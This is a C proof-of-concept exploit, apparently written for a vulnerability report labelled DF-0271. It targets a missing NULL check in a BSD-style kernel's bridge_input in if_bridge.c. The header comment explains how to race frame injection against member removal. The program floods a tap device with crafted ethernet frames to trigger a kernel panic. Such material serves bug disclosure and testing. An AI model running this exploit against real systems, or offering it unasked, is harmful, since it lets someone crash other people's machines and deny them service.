/*
 * DF-0271 PoC: bridge_input NULL deref when bridge_lookup_member_if returns NULL.
 *
 * sys/net/bridge/if_bridge.c:2738  bif = bridge_lookup_member_if(sc, ifp);
 *                       :2739  if ((bif->bif_flags & IFBIF_LEARNING) && ...)
 * No NULL check -> kernel panic if the member was removed from the per-CPU
 * iflist (sc->sc_iflists[mycpuid]) between the packet arriving on the member
 * and bridge_input running.  Compare the guarded sibling at :2786-2788.
 *
 * Trigger: inject an ethernet frame dst=bridge-MAC into a bridge member (tap),
 * racing against deletion of that member from the bridge.  The deletion removes
 * the member from the per-CPU iflist; if the injected frame is processed after
 * the removal but before ifp->if_bridge is cleared, bridge_lookup_member_if
 * returns NULL and bif->bif_flags dereferences NULL.
 *
 * Build:  cc -o bridge_race bridge_race.c
 * Run:    ./bridge_race <tapdev> <bridge-mac>
 *         (as root; tap must be a bridge member)
 */
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

static int
parse_mac(const char *s, unsigned char mac[6])
{
	return sscanf(s, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
	    &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]) == 6 ? 0 : -1;
}

int
main(int argc, char **argv)
{
	const char *tapdev;
	unsigned char dst[6], src[6] = {0x02,0,0,0,0,0x01};
	unsigned char frame[64];
	int fd, i, n = 50000;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <tapdev> <bridge-mac> [count]\n", argv[0]);
		return 2;
	}
	tapdev = argv[1];
	if (parse_mac(argv[2], dst) < 0) {
		fprintf(stderr, "bad mac %s\n", argv[2]);
		return 2;
	}
	if (argc > 3) n = atoi(argv[3]);

	fd = open(tapdev, O_WRONLY);
	if (fd < 0) { perror("open tap"); return 2; }

	memcpy(frame, dst, 6);
	memcpy(frame+6, src, 6);
	frame[12] = 0x08; frame[13] = 0x06; /* ARP */
	memset(frame+14, 'A', sizeof(frame)-14);

	printf("[*] injecting %d frames dst=%02x:%02x:%02x:%02x:%02x:%02x via %s\n",
	    n, dst[0],dst[1],dst[2],dst[3],dst[4],dst[5], tapdev);
	for (i = 0; i < n; i++) {
		if (write(fd, frame, sizeof(frame)) < 0)
			perror("write");
	}
	printf("[*] done injecting %d frames\n", n);
	close(fd);
	return 0;
}
